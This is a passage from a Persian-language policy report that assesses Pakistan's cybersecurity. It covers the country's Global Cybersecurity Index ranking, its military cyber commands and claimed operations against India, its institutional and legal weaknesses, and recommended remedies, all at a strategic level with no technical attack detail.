با نقاط‌ضعف و چالش‌های پاکستان در این حوزه را از نظر می‌گذرانیم تا بدین‌ترتیب بتوان 

تصویری واضح از وضعیت امنیت سایبری این کشور ترسیم کرد.

3.  1.  رتبه پاکستان در شاخص جهانی امنیت سایبری

 2)ITU( 1 اتحادیه بین‌المللی مخابرات)GCI( پاکستان در شاخص جهانی امنیت سایبری

در ســال 2024 بــا امتیــاز 96/69 از 100 در میــان کشورهــای تــراز اول در حوزه امنیــت ســایبری 

قرار گرفت که پیشرفت چشمگیری محسوب می‌شد، چراکه این کشور در سال ۲۰۲۰ امتیاز 

64/88 از ۱۰۰ راکسب کرده‌بود.

توسعه و مشارکت پاکستان در این شاخص جهانی براساس پنج رکن اصلی بررسی شده 

که به هر رکن حداکثر ۲۰ امتیاز اختصاص داده شده‌اســت. این کشور در ســه رکن اقدامات 

1. Global Cybersecurity Index
2.  International Telecommunication Union

وضعیت پاکستان در زمینه امنیت سایبری

3
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   اول بخش     پاکستانیبریامنیت سا  .

قانونــی1، اقدامات ســازمانی2، و توســعه ظرفیت‌ها3 امتیــاز کامل ۲۰ را دریافت کرده‌اســت که 

درواقع، نقاط‌قوت این کشور محسوب می‌شوند. بااین‌حال، این کشور در رکن اقدامات فنی4 

امتیاز 18/21 و در رکن گســترش همکاری5 امتیاز 18/48 را کســب کرده‌اســت. این امر نشــان 

می‌دهد که این کشور به‌منظور تثبیت جایگاه خود همچنان به تقویت زیرساخت‌های فنی 

دفاع ســایبری و گســترش همکاری‌های بین‌المللی و منطقه‌ای خود در این حوزه نیاز دارد. 

درمجموع می‌توان گفت عملکرد پاکســتان بسیار مطلوب و نزدیک به حداکثر بوده‌اســت.

پاکســتان از نظــر عملکــرد کلــی در تــراز اول یعنــی در دســته کشورهــای پیــشرو6 قــرار 

گرفته‌است، بدین‌معنا که این کشور در تعهد به امنیت سایبری شاهد پیشرفت شایانی 

ح اســت. همانطور که  بــوده و به‌عنــوان الگو و مرجع برای ســایر کشورها در منطقه قابل‌طر

نمودار ۳ نشان می‌دهد، امتیاز پاکستان تقریبا در همه ابعاد بالاتر از میانگین منطقه‌ آسیا- 

اقیانوسیــه بــوده و ایــن کشور نســبت بــه کشورهای همســایه و منطقه آسیــا- اقیانوسیه 

عملکرد بهتری داشته‌است ]6[.

   نمودار 3:      مقایسه عملکرد پاکستان با میانگین منطقه در شاخص جهانی امنیت سایبری 2024  
منبع: شاخص جهانی امنیت سایبری اتحادیه بین‌المللی مخابرات )2024(

1.  Registry Queries
2.  Organizational Measures
3.  Capacity Development
4.  Technical Measures
5.  Cooperation Measures
6.  Tier: Role- modelling
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۲۰
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3. 2.  نقاط‌قوت پاکستان در حوزه امنیت سایبری

کــشور پاکســتان علی‌رغــم آسیب‌پذیری‌ها و ضعف‌هــایی که در زمینه امنیت ســایبری 

دارد )به بخش ۶ رجوع شــود(، از مزایایی برخوردار اســت که وضعیت ســایبری آن را تقویت 

می‌کند )اطلاع‌نگاشت ۲(.

   اطلاع‌نگاشت ۲:      نقاط‌قوت پاکستان در حوزه امنیت سایبری  

همانطور که در اطلاع‌نگاشــت ۲ مشــاهده می‌شــود، یکی از مزایای پاکســتان موقعیت 

جغرافیــایی آن اســت کــه در نقطــه‌ای راهبردی در تقاطع جنــوب آسیا، آسیــای میانه و غرب 

آسیا )خاورمیانه( قرار دارد و این موقعیت به آن اجازه می‌دهد که بر جریان داده‌ها در سطح 

منطقه تاثیر بگذارد.

بــرای  بیشــتر  بسیــار  بودجه‌هــای  بــا  کشورهــای  بــا  مقایســه  در  آن  دیگــر  نقطه‌قــوت 

قابلیت‌هــای جنــگ ســایبری ایــن اســت کــه ایــن کــشور فرصت‌هــای متعــددی داشته‌اســت 

تــا جنــگ ترکیبــی را کــه در آن عملیات‌هــای حرکتی با عملیات‌های اطلاعاتی تکمیل می‌شــود، 

تجربــه کنــد. توافق‌هــای دفاعــی همــکاری پاکســتان بــا کشورهــای دوســت و نزدیــک نیــز 

امــکان دسترســی بــه آموزش‌هــای تخصصــی، اطلاعــات مشــترک و خریــد فنــاوری را بــرای ایــن 

موقعیت
جغرافیایی راهبردی

به‌کارگیری هوش ‌مصنوعی و 
یادگیری ماشینی در بخش دفاعی

تجربه
جنگ‌های ترکیبی

توانمندی‎های
تهاجمی

توانمندی‌های
دفاعی

تشکیل فرماندهی سایبری
در ارتش و نیروی هوایی
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کــشور فراهــم مــی‌آورد کــه بدین‌ترتیــب، توانمندی‌هــای آن را بــدون افزایــش هزینــه بــه میزان 

قابل‌توجهــی مضاعــف می‌کنــد.

دیگــر مزایــای پاکســتان توانمندی‌هــای دفاعی و تهاجمی آن در عرصه ســایبری اســت. 

پاکســتان از میانــه دهــه ۲۰۱۰ به‌جــای تمرکــز صــرف بــر توانمندی‌هــای دفــاع ســایبری بــه 

ســمت توســعه توانمندی‌هــای تهاجمی برای مقابله بــا تهدیدهای آتی حرکت کرده‌اســت. 

توانمندی‌هــای دفاعــی ســایبری ایــن کشور در دهه گذشــته تحــولات زیادی داشته‌اســت. 

این کشور از شــبکه‌های نظامی امن و حفاظت‌شــده‌ای برخوردار اســت که از هرگونه نفوذ 

از راه دور جلوگیری می‌کنند و به‌عبارتی، تمام داده‌های حســاس با اســتفاده از فایروال‌های 

پیچیــده و سیســتم‌های تشــخیص نفــوذ لایــه‌ای محافظــت می‌شــوند. علاوه‌برایــن، مراکز 

عملیــات امنیتــی )SOCs(1 می‌تواننــد تضمین کنند کــه هرگونه ناهنجاری بــه صورت آنی )در 

زمان واقعی( قبل از بروز آسیب جدی شناسایی و خنثی شود.

پاکســتان از سیســتم‌های هــوش‌ مصنوعــی برای بخش دفاعــی خود اســتفاده می‌کند 

که همانند رادارهای پیشــرفته در هواپیماها عمل کنند، بدین‌معنا که تهدیدها را سریع‌تر 

شناســایی کرده، مسیرهای حمله احتمالی را پیش‌بینی کرده و به‌صورت خودکار اقداماتی 

بــرای مقابله بــا آن‌ها انجام ‌دهند. این کــشور همچنین با بهره‌گیری‌از یــادگیری ماشینی در 

این حوزه می‌تواند میلیون‌ها داده تصادفی را به صورت آنی )در زمان واقعی( جســتجو کند 

و ناهنجاری‌هــایی کــه از نــگاه تحلیل‌گران پنهان مانده‌اســت را شناســایی کنــد و در فضای 

جنگ اطلاعاتی به‌صورت سریع و دقیق به مقابله با عملیات‌های تبلیغاتی دشمن بپردازد.

از توانمندی‌های تهاجمی پاکســتان نیز باید به سیســتم‌هایی اشــاره کــرد که می‌توانند 

اختلال هدفمند در ارتباطات دشــمن ایجاد کنند، به شبکه‌های امن نفوذ کرده و اطلاعات 

1.  Security Operations Centers
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جمــع‌آوری کنند، و اقداماتی تاکتیکــی در جنگ اطلاعاتی انجام دهند تا با تبلیغات خصمانه 

مقابلــه کننــد. گفتنــی اســت ایــن تیم‌هــای حملــه ســایبری نیــز ماننــد نیروهــای ویــژه در 

جنگ‌هــای متعــارف و غیردیجیتال در ســکوت عمل می‌کنند، دقیــق ضربه می‌زنند و بدون 

برجای‌گذاشتن هیچ رد دیجیتالی ناپدید می‌شوند ]86[.

این کشور همچنین با تشــکیل فرماندهی‌های ســایبری در ارتش و نیروی هوایی گامی 

جــدی بــرای دفــاع از زیرســاخت‌های حیاتــی و اســتفاده از فضای مجــازی به‌عنوان یــک ابزار 

بازدارنــده و تهاجمــی برداشته‌اســت ]53[. درادامــه بــه معرفی مختصر فرماندهی ســایبری 

ارتش و فرماندهی سایبری نیروی هوایی پاکستان پرداخته می‌شود.

فرماندهی سایبری ارتش� 

ارتــش پاکســتان1 در ســال ۲۰۲۲ به‌طوررســمی فرماندهی ســایبری2 خــود را تاسیس کرد. 

ژنرال قمر جاوید باجوا3، رئیس ستاد ارتش، در بازدید از بخش سایبری و مرکز فناوری‌های 

نوظــهور ارتــش4 که هــر دو از اجــزای اصلی فرماندهی ســایبری ارتش هســتند تاکید کرد که 

جنگ‌های آینده بر پایه قدرت ســایبری و تســلیحات پیشــرفته شــکل می‌گیرند و پاکستان 

باید در این عرصه ظرفیت‌سازی کند. وی همچنین در زمان بازدید از بخش سایبری تاکید 

کرد که فرماندهی ســایبری ارتش پاکســتان قرار است به‌تدریج به ســطح سه‌گانه نیروهای 

مســلح )نیروی زمینــی، نیروی هــوایی و نیروی دریــایی( متصل شــود و همچنین بخشــی از 

ابتکارهای ملی سایبری باشد تا هماهنگی و هم‌افزایی در سطح ملی ایجاد شود ]54[.

به‌طورکلــی، ارتــش دفاع از ســامانه‌های حیاتی، شناســایی آنی تهدیدهــا و واکنش سریع 

ازطریق اقدامات متقابل برای خنثی کردن حملات اهداف اصلی فرماندهی سایبری به‌شمار 

1.  Pakistan Armed Forces
2.  Army Cyber Command
3.  General Qamar Javed Bajwa
4.  Army Center of Emerging Technologies
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می‌آیند. این واحد تخصصی در کنار تیم ملی پاســخ فوری ســایبری )PkCERT(، بخش جرایم 

ســایبری1 ســازمان تحقیقــات فــدرال )FIA( و دیگر نهادهای ملــی فعالیت می‌کنــد و تاکنون 

توانسته‌است چندین کارزار بزرگ فیشینگ علیه سامانه‌های ایمیل دولتی را خنثی کند ]53[.

فرماندهی سایبری نیروی هوایی� 

فرماندهــی ســایبری نیروی هــوایی پاکســتان2 یــک واحــد عملیاتــی تخصصــی اســت کــه بر 

دفــاع ســایبری، جنــگ الکترونیــک و توانمندی‌هــای تهاجمــی ســایبری متمرکــز اســت. ایــن 

فرماندهــی نقــش حیاتــی در حفاظــت از زیرســاخت‌های دیجیتــال نظامــی شــامل لینک‌هــای 

و  فرماندهــی  ســامانه‌های  و  ماهــواره‌ای  ارتباطــات  راداری،  شــبکه‌های  جنگنده‌هــا،  داده 

کنــترل ایفــا می‌کنــد. علاوه‌بــر نقــش دفاعــی، فرماندهــی ســایبری نیروی هــوایی یــک نیروی 

علیــه  آنــی  ســایبری  حــملات  اجــرای  توانــایی  کــه  می‌شــود  محســوب  راهبــردی  تهاجمــی 

شــبکه‌های دشــمن را دارد.

در زمان درگیری با هند، فرماندهی سایبری نیروی هوایی پاکستان توانست سامانه‌های 

راداری نیروی هوایی هند را مختل کرده و ارتباطات رمزگذاری‌شده بین هواپیماهای هندی 

و ایســتگاه‌های زمینــی را دچــار اخــتلال کنــد که این امــر موجب کاهش هماهنگــی و تأخیر 

در واکنش هوایی آن‌ها شــد. هم‌زمان، واحدهای ســایبری پاکستان به سامانه‌های نظارتی 

برخی تاسیسات کلیدی نظامی هند نفوذ کردند و به‌صورت غیرمجاز به تصاویر و صداهای 

زنــده دسترســی پیــدا کردنــد. این اقدام باعث شــد تــا تیم‌هــای اطلاعاتی پاکســتان بتوانند 

جلســات فرماندهــی و جابه‌جــایی نیروهــای هندی را بــه‌صورت آنی و در لحظــه رصد کنند و 

برتری قابل‌توجهی در آگاهی محیطی و برنامه‌ریزی راهبردی به‌دست آورند.

 )NCCIA( 1.   ایــن بخــش در ســال 2025 بــه نهــادی مســتقل تحت‌عنــوان ســازمان ملــی تحقیقات جرایم ســایبری پاکســتان
ارتقا یافته‌اســت.

2.  Pakistan Air Force Cyber Command
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یکی از عملیات‌های شــاخص این فرماندهی، حمله ســایبری به شــبکه برق ارتش هند 

بود که موجب خاموشی موقت پایگاه‌های هوایی و مراکز لجستیکی شد و چرخه عملیات 

و نگهــداری هواپیماهــا را مختــل کرد. ایــن عملیات همگام با فعالیت‌هــای نظامی متعارف 

اجرا شــد و اثرگذاری آن‌ها را چند برابر کرد و در ســاختار فرماندهی هند در ســاعات حساس 

اولیه جنگ سردرگمی و تأخیر ایجاد کرد.

ازایــن‌رو، بــا گســترش دامنــه جنگ‌ها بــه حوزه داده، فضــا و الکترومغناطیــس می‌توان 

انتظــار داشــت کــه فرماندهــی ســایبری نیروی هوایی پاکســتان به رکن اصلــی راهبرد جنگ 

یکپارچه کشور تبدیل شــود. عملیات‌های آینده ممکن اســت شــامل از کار انداختن توان 

رصد ماهواره‌ای دشمن، مختل کردن سامانه‌های دفاعی خودکار و هماهنگی با پلتفرم‌های 

هوش ‌مصنوعی برای ایجاد اثرات همزمان ســایبری- فیزیکی باشــند. این بخش تخصصی 

همچنین ماموریت‌هایی همچون حفاظت از ســامانه‌های پدافند هوایی پاکستان در برابر 

حملات سایبری دشمن، تقویت جنگ الکترونیک ازطریق هدف قرار دادن رادارها، پهپادها 

و ماهواره‌های دشمن، ایجاد توانایی برای کور کردن یا اخلال در سامانه‌های دشمن پیش 

از حــملات هــوایی واقعــی و همچنین تقویت دفــاع از دارایی‌های هســته‌ای و راهبردی را در 

دستورکارخود دارد.

شــایان ذکر اســت فرماندهــی‌ ســایبری نیروی هــوایی پاکســتان در صورت بروز درگیری 

می‌توانــد تاثیــرات قابل‌توجهی بر تــوان رزمی هند اعمال کندکه به‌عنــوان نمونه می‌توان به 

موارد زیر اشاره کرد:

 y  1 کــه)IACCS( ایجــاد اختــال در ســامانه یکپارچــه فرماندهــی و کنتــرل هوایــی هنــد

هماهنگی عملیاتی نیروی هوایی را تضعیف می‌کند؛

 y  اخلال در عملکرد پهپادها، رادارها و ارتباطات ماهواره‌ای که دسترسی و دید اطلاعاتی

1.  Integrated Air Command and Control System of India
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دشــمن را کاهــش می‌دهــد؛ و - اجرای عملیات ســایبری علیه ســامانه‌های رســانه‌ای و 

شــبکه‌های اطلاع‌رسانی هند که می‌تواند موجب ســردرگمی، انتشار اطلاعات نادرست 

و تضعیف روحیه و تصمیم‌گیری در سطوح مختلف شود ]55[.

۳.۳.   نقاط‌ضعف و چالش‌های پیش‌روی پاکستان در حوزه امنیت سایبری

ماهیــت تهدیدهای ســایبری که کشورهای جنــوب آسیا با آن‌ها روبرو هســتند، تفاوت 

زیادی با تهدیدهای کشورهای دیگر در نقاط مختلف جهان ازجمله کشورهای توسعه‌یافته 

نــدارد. بااین‌حــال، مقیاس و تاثیر این تهدیدها در کشورهای درحال‌توســعه به ســه دلیل 

عمده به‌طور قابل‌توجهی متفاوت اســت. پاکســتان نیز به‌عنوان یک کشور درحال‌توسعه 

در جنوب آسیا با این سه نوع چالش مواجه است ]74[.

   اطلاع‌نگاشت ۳:      سه دلیل عمده آسیب‌پذیری کشورهای درحال‌توسعه در حوزه امنیت سایبری  

همانطور که در اطلاع‌نگاشت ۳ قابل‌مشاهده است، دلیل اول این است که کشورهای 

توســعه‌یافته ابتدا دیجیتالی شــدند و در دهه گذشته با مجموعه‌ای از تهدیدهای سایبری 

مواجــه شــدند. این کشورهــا درحالی‌که این تهدیدها را تجربه می‌کردنــد، نهادهای دولتی و 

بخــش خصوصــی آن‌ها مجموعه‌ای از ســازوکارهای نهادی را به‌کار گرفتنــد که زندگی را برای 

مهاجمان ســایبری دشــوارتر کرد. باتوجه‌به نوپایی زیســت‌بوم دیجیتــال و حکمرانی آن در 

کشورهــای درحال‌توســعه، مهاجمان حالا توجه خود را بــه کشورهایی معطوف کرده‌اند که 

ظرفیــت دولت‌هــا برای مقابله با تهدیدهای ســایبری و آگاهی عمومی از بهداشــت امنیت 

سایبری هنوز درحال‌پیشرفت است.

ع  متناز
بودن منطقه 
ژئوپولیتیکی 

جنوب آسیا

مقیاس 
وسیع جمعیت 
برخط در جنوب 

آسیا

ظرفیت ناکافی کشورهای 
درحال‌توسعه برای مقابله با 

تهدیدهای سایبری و کمبود آگاهی 
عمومی از بهداشت امنیت سایبری
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دوم، مقیــاس وسیــع جمعیت برخط در جنوب آسیا مقابله با تهدیدهای ســایبری را به 

چالشــی بزرگ تبدیل کرده‌اســت و همین حجم عظیم جمعیت باعث شده‌ تا حجم و تنوع 

حوادث به‌طور چشمگیری افزایش یابد.

ع اســت. شــکاف‌های روابط هند و  ســوم، جنــوب آسیا یک منطقــه ژئوپولیتیکــی متناز

پاکســتان باعث حملات ســایبری متقابل توســط بازیگران غیردولتی حمایت‌شده از سوی 

دولت‌ها شده‌است که به‌تازگی در بحران ماه می ۲۰۲۵ نیز مشاهده ‌شد ]74[.

، چالش‌هــایی نیــز مختص به خــود کشور پاکســتان وجود دارد کــه در این  ازطرف‌دیگــر

بخــش بررســی می‎شــود. پاکســتان باوجــود تمامــی اقداماتی که درراســتای تقویــت امنیت 

ســایبری انجــام داده‌اســت همچنان بــا مجموعــه‌ای از چالش‌های داخلی روبه‌رو اســت که 

مانــع تحقــق تــاب‌آوری ســایبری و ایجــاد یک ســاختار موثــر امنیت ســایبری در ایــن کشور 

می‌شــوند. در این بخش با بررســی این ضعف‌ها و چالش‌ها سعی شده‌است زمینه را برای 

تدوین توصیه‌ها و راهکارهای عملی جهت تقویت امنیت سایبری این کشور فراهم کرد.

   اطلاع‌نگاشت ۴:      نقاط‌ضعف پاکستان در زمینه امنیت سایبری  
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همانطـــور کــــه در اطلاع‌نگاشـــــت ۴ ذکـــــر شده‌اســـــت، آسیب‌پـــــذیری زیرساخت‌هــای 

حیاتــی پاکســتان یکــی از ضعف‌های اصلی آن اســت ]75[. اســتانداردهای امنیت ســایبری 

بیمارســتان‌ها،  برق،  شــبکه‌های  از  اعــم  پاکســتان-  حیاتــی  و  غیرنظامــی  زیرســاخت‌های 

سیســتم‌های حمل‌ونقــل یــا بانکــداری- به‌هیچ‌وجــه بــا اســتانداردهای امنیــت ســایبری 

زیرســاخت‌های نظامــی ایــن کشور هم‌خوانــی ندارند که همیــن‌ امر منجر بــه آسیب‌پذیری 

آن‌ها در جنگ احتمالی می‌شــود. به زبان نظامی، زیرســاخت‌های حیاتی پاکســتان به‌مثابه 

اهداف نرم دفاع ملی محسوب می‌شوند که هک کردن و کنترل آن‌ها آسان است. ازاین‌رو، 

گاه هســتند ترجیح می‌دهند اموال بخش غیرنظامی را هدف  دشــمنان که از این نابرابری آ

قــرار دهنــد تا رعب و وحشــت ایجــاد کنند، ثبات اقتصادی را مختل کنند و فشــار سیاســی 

بــه کــشور وارد کننــد، بــدون آنکــه وارد حدی شــوند کــه منجر بــه واکنش نظامی مســتقیم 

شود. بنابراین، تقویت زیرساخت‌های غیرنظامی و حیاتی یک اولویت ثانویه نیست، بلکه 

بخشی از خط‌مقدم در برابر جنگ‌های ترکیبی نوین است ]86[. کمیته روابط خارجی سنای 

پاکستان 1نیز درباره آسیب‌پذیری این زیرساخت‌های حیاتی کشور در برابر حملات سایبری 

خارــجی هــشدار داده و توصــیه کرده‌اــست ــکه دوــلت باــید با ایــجاد مراکز تحقیق‎وتوســعه 

سایبری تلاش بیشتری برای حفاظت از مرزهای سایبری پاکستان انجام دهد ]75[.

یکی دیگر از چالش‌ها و آسیب‌پذیری‌های موجود در ساختار امنیت سایبری پاکستان 

گاهــی  آ امنیــت ســایبری و همچنیــن کمبــود  کمبــود نیروی متخصــص در حوزه  شــامل 

میــان کاربــران و افرادی اســت که سیســتم‌های ســایبری کلیدی را مدیریــت می‌کنند ]74[. 

توانمندی‌هــای ســایبری پاکســتان را بیش از هر چیــز نیروی انســانی آن تعریف می‌کند. هر 

غ‌التحصیــل رشــته فنــاوری اطلاعــات در پاکســتان پرورش پیــدا می‌کنند،  ســاله هــزاران فار

1.  Pakistan’s Senate Foreign Affairs Committee
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امــا تنهــا تعــداد کمــی از آن‌هــا آموزش‌هــای پیشــرفته در زمینــه جنــگ ســایبری می‌بیننــد. 

، در دنیــای امروز رقابــت شــدیدی برای جــذب نیروی کار ماهر وجــود دارد که با  ازطرف‌دیگــر

ج از کشور  پیشــنهادهای جــذاب از غول‌هــای فنــاوری و پیمانــکاران دفاعــی خارجــی به خــار

کشیده می‌شوند. این بدین معناست که خلبانان آموزش‌دیده یا سربازان نخبه از دست 

ج می‌شوند ]86[. پاکستان خار

کمبــود تعامــل موثر با بخــش خصوصی- به‌ویــژه در حوزه‌هــایی ماننــد آموزش امنیت 

گاهــی و تــاب‌آوری ســایبری در  ســایبری، تامین‌مالــی و پژوهــش در ایــن حوزه- نیــز دامنــه‌ آ

پاکســتان را محــدود کرده‌اســت. ایــن وضعیــت با کمبــود نیروی متخصــص و ناکافی بودن 

نیروی کار ماهر در حوزه امنیت ســایبری تشــدید می‌شــود. بسیاری از سازمان‌ها همچنان 

در پذیــرش بهتریــن شیوه‌هــا تردیــد دارند و به‌جــای آنکــه توانمندی‌های داخلی را توســعه 

دهند، به‌شدت به راه‌حل‌های برون‌سپاری‌شده متکی‌ هستند ]7[.

چالــش دیگــر ظرفیــت نهــادی ناکافــی ایــن کــشور اســت. در حــال حاضــر، پاکســتان 

فاقــد یــک مرجــع مــرکزی و قدرتمنــدی اســت کــه بــه‌صورت تخصصــی در زمینــه امنیــت 

ســایبری فعالیــت کنــد. همان‌گونــه کــه ایــالات متحــده ســازمان امنیــت ســایبری و امنیــت 

زیرســاخت‌ها )CISA(1 و رژیــم صهیونیســتی یــگان ۸۲۰۰2 یــا ســازمان ملــی امنیــت ســایبری3 را 

تاسیــس کرده‌اســت، پاکســتان نیــز نیازمنــد یــک ســازمان معتبــر و مــرکزی بــرای دفــاع در برابــر 

حــملات ســایبری اســت ]۷۵[.

افزون‌برایــن، هیــچ تعریــف روشــن و دقیقــی از بازیگــران حوزه امنیــت ســایبری در ایــن 

کــشور و حوزه مســئولیت آنــان ارائــه نشده‌اســت. به‌عنوان مثال، ســازمان تحقیقات فدرال 

1.  Cybersecurity and Infrastructure Security Agency
2.  Unit 8200
3.  National Cyber Security Authority
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دارای مرکــز ملــی پاســخ بــه جرایــم ســایبری اســت، امــا حوزه اختیــارات آن محــدود اســت و 

نمی‌توانــد نقــش نخســتین پاســخ‌دهنده در بحران‌هــای ســایبری را ایفــا کنــد ]75[. ســازمان 

مخابــرات پاکســتان نیــز دامنــه اختیــارات محــدودی دارد و تمرکــز آن عمدتــا بــر تنظیــم و 

پایــش محتــوای برخــط اســت، درحالی‌کــه جنبه‌هــای فنــی امنیــت ســایبری و همکاری‌هــای 

، ســازمان مخابــرات پاکســتان علاوه‌بــر این‌کــه از نظــر  فــرامرزی را دربرنمی‌گیــرد. به‌بیان‌دیگــر

ســاختاری مجهــز نیســت، از اختیــارات کافــی نیــز بــرخوردار نیســت ]87[. مرکــز ملــی پاســخ بــه 

جرایــم ســایبری )NR3C(- زیرمجموعــه ســازمان تحقیقــات فــدرال )FIA(- بــه جرایــم ســایبری 

رسیدگــی می‌کنــد، امــا ایــن مرکــز توانــایی کامــل بــرای حفاظــت از اطلاعــات حســاس کــشور را 

نــدارد و بــا کمبــود منابــع، نیروی انســانی و تجهیــزات کافــی بــرای حفاظــت از زیرســاخت‌های 

حیاتــی روبــه‌رو اســت ]۱۰۱[.

چالــش دیگــر پاکســتان ناکارآمــد بــودن چارچــوب حقوقــی آن در زمینــه امنیــت ســایبری 

اســت، چراکــه چارچــوب حقوقــی ایــن کــشور همچنــان در زمینــه مقابلــه بــا جرایــم ســایبری 

ایجــاد تعــادل میــان امنیــت ملــی و دغدغه‌هــای مربوط‌بــه حریــم خصوصــی و  پیچیــده، 

همچنیــن تضمیــن انطبــاق بــا اســتانداردهای بین‌المللــی بــا چالش‌هــایی روبــه‌رو اســت ]7[. 

درواقــع، پاکســتان فاقــد یــک قــانون ملــی جامــعِِ اختصاصــی در حوزه جرایــم ســایبری اســت. 

همانــطور کــه پیش‌تــر اشــاره شــد، پاکســتان قــانون پیشــگیری از جرایــم الکترونیکــی 2016 را 

به‌عنــوان چارچــوب قانونــی اصلــی بــرای مقابلــه بــا جرایــم الکترونیکــی به‌رســمیت شــناخته و 

قوانیــن امنیــت ســایبری ایــن کــشور براســاس ایــن قــانون بنا شده‌اســت. اگرچه ایــن قانون 

تعــدادی از جرایــم ســایبری ماننــد نقــض داده‌هــا و دسترســی غیرمجــاز را پوشــش می‌دهــد 

و مجازات‌هــای ســنگینی بــرای حــملات علیــه زیرســاخت‌های حیاتــی یــا امنیــت ملــی در نظــر 

گرفته‌اســت، امــا بــه دلیــل پوشــش ناکافــی تهدیدهــای نوپدیــدی ماننــد باج‌افــزار و گروه‌هــای 
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هــکری پیشــرفته )APT( و نیــز فقــدان قــانون جامــع حفاظــت از داده‌هــا موردانتقــاد قــرار 

دارد. بــه‌علاوه، برخــی مفــاد ایــن قــانون به‌ویــژه در حوزه محــدود کــردن آزادی بیــان و تفویــض 

اختیــارات گســترده بــه نهادهــای دولتــی، نگرانی‌هــای حــقوق بــشری ایجــاد کرده‌انــد کــه در 

بلندمــدت نیازمنــد اصلاحــات اســت. ازایــن‌رو، قــانون پیشــگیری از جرایــم الکترونیکــی 2016 

ــا این‌کــه گام مهمــی به‌شــمار می‌آیــد، امــا باتوجه‌بــه ســرعت تــحول تهدیدهــای ســایبری،  ب

ایــن چارچــوب قانونــی نیــاز بــه ارزیــابی و به‌روزرســانی مســتمر دارد تــا اثربخشــی آن در مقابلــه 

بــا چالش‌هــای نوپدیــد حفــظ گــردد ]39[.

بــرای  راهبردهــای مشــخص و عملــی  نیــز فاقــد  امنیــت ســایبری 2021  سیاســت ملــی 

تبدیــل اهــداف سیاســتی بــه اقدامــات اجــرایی اســت. افزون‌برایــن، در ایــن سیاســت تمرکــز 

محــدودی بــر منابــع مالــی یــا هماهنگــی نهــادی وجــود دارد کــه اجــرای موفقیت‌آمیز سیاســت 

ــا عدم‌قطعیــت مواجــه می‌کنــد. ایــن سیاســت همچنیــن از جنبه‌هــای مهمــی همــچون  را ب

مشــارکت ذینفعــان در فرآینــد طراحــی سیاســت و ایجــاد چرخه‌هــای بــازخورد مســتمر میــان 

نهادهــای مختلــف امنیــت ســایبری غفلــت کرده‌اســت. بــا این‌کــه در سیاســت ملــی امنیــت 

ســایبری ۲۰۲۱ به نقش ذینفعان-شــامل بخش خصوصی و دانشــگاه‌ها- اشــاره شده‌اســت، 

اما شــفافیت چندانی در خصوص نحوه مشــارکت این گروه‌ها در طراحی، اجرا و پیاده‌ســازی 

سیاســت وجــود نــدارد ]7[.

یکــی دیگــر از مســائل نگران‌کننــده، وابســتگی پاکســتان بــه فناوری‌هــای وارداتــی از 

دیگــر کشورهاســت؛ فناوری‌هــایی کــه توســط کشورهــای توســعه‌یافته تولیــد، عرضــه یــا 

صــادر می‌شــوند و پاکســتان در زیرســاخت‌های خود از آن‌ها اســتفاده می‌کنــد ]75[. اگرچه 

پیشرفت اندکی در توسعه نرم‌افزار بومی در پاکستان صورت گرفته‌است، اما بخش زیادی 

از ســخت‌افزار ماننــد پردازنده‌هــا، مسیریاب‌هــا )روتِِرها( و تجهیــزات ارتباطی هــنوز وارداتی 
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اســت و این مســئله ضعفی راهبردی مشابه اتکا به مهمات خارجی در زمان جنگ قلمداد 

، یــک کــشور مهاجــم می‌توانــد در ســخت‌افزارهای صادراتی خود  می‌شــود. به‌بیان‌دقیق‌تــر

کدُُر )در پشتی(1 نصب کند یا زنجیره تامین را در زمان بحران مختل کند ]86[.  برنامه‌های َبَ

این وابســتگی یکی از دلایل اصلی ناامنی فضای ســایبری پاکســتان به‌شــمار می‌رود و این 

کــشور را در برابــر فشــارهای خارجی و نفــوذ ژئوپولیتیکی آسیب‌پذیر می‌کنــد. بنابر آنچه در 

این بخش ذکر شــد، پاکســتان همچنان نیازمند اقدامات گســترده‌ای اســت تا بتواند یک 

ساختار امنیت سایبری کارآمد و پایدار ایجاد کند ]75[.

1.  راهکارهـــای مقابلـــه بـــا نقاط‌ضعـــف و چالش‌هـــای پاکســـتان در حـــوزه   .3  .3

امنیـــت ســـایبری

همانــطور کــه پیش‌تــر ذکــر شــد، پاکســتان دارای نقاط‌قــوت و نقاط‌ضعــف متعــددی 

در زمینــه امنیــت ســایبری اســت و برطــرف کــردن ضعف‌هــا و آسیب‌پذیری‌هــای موجــود 

نیازمنــد اجــرای راهکارهــایی موثــر و مناســب اســت کــه در ایــن بخــش بــه نمونه‌هــایی از 

آن‌هــا اشــاره می‌شــود.

   اطلاع‌نگاشت ۵:      راهکارهای موجود جهت رفع چالش‌های پاکستان در زمینه امنیت سایبری  

1.  Backdoor
کدُُرهــا برنامه‌هــایی هســتند کــه بــه مجرمــان ســایبری یا مهاجمــان امکان دسترســی از راه دور به رایانه‌ها و سیســتم‌ها  َبَ
را می‌دهنــد. درواقــع، مهاجمــان بعــد از نفــوذ اولیــه بــه سیســتم بــا نصــب بــک‌در یــک مسیــر مخفــی بــرای دسترســی آینــده 

بــه سیســتم ایجــاد می‌کنند.

 y انجــام اقدامــات جــدی برای تضمیــن امنیت زیرســاخت‌های
متصل به شبکه

 y ایجــاد یــک تیــم پاســخ فــوری رایانــه‌ای ویــژه بــرای بخــش مالــی
به‌منظور حفاظت از موسسات بانکی در برابر حملات سایبری

آسیب‌پذیری 
زیرساخت‌های حیاتی

راهکارهای پیشنهادی متخصصان حوزه امنیت سایبری چالش‌ها
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 y سرمایه‌گـــــذاری قابل‌توجــــــه در زمینــــــه پرورش نیـــروی کـــار
متخصص

 yتدوین راهبردهایی به‌منظور حفظ نخبگان و نیروی کار ماهر

 y تبدیــل آمــوزش امنیت ســایبری به رشــته‌ای حرفــه‌ای در مقطع
دانشگاه

 yتاسیس موسسه امنیت اطلاعات

 yتاسیس آکادمی‌هایی برای آموزش نیروی متخصص

کمبود نیروی متخصص 
در حوزه امنیت سایبری

 yراه‌اندازی یک نهاد واحد به نام فرماندهی ملی سایبری نبود نهاد مشخص و 
جامعی برای حفاظت 

سایبری

 yتدوین یک راهبرد منسجم برای امنیت سایبری

 y ها‎ــازمان ــازی سـ ــور توانمندسـ ــر به‎منظـ ــررات جامع‌تـ تدویـــن مقـ
و نهادهـــا بـــرای محافظـــت از ســـامانه‎های خـــود در برابـــر حمـــات 

ـــایبری س

نبود قوانین کافی و 
ناکارآمد بودن چارچوب 
حقوقی امنیت سایبری

 yسرمایه‌گذاری در تولید داخلی امن

 y ،تلاش برای یافتن مســیرهای تامیــن جایگزین )به‌عنوان مثال
جایگزینــی فناوری‌هــا و قطعــات بــا نمونه‌هــای داخلی و یــا خرید از 
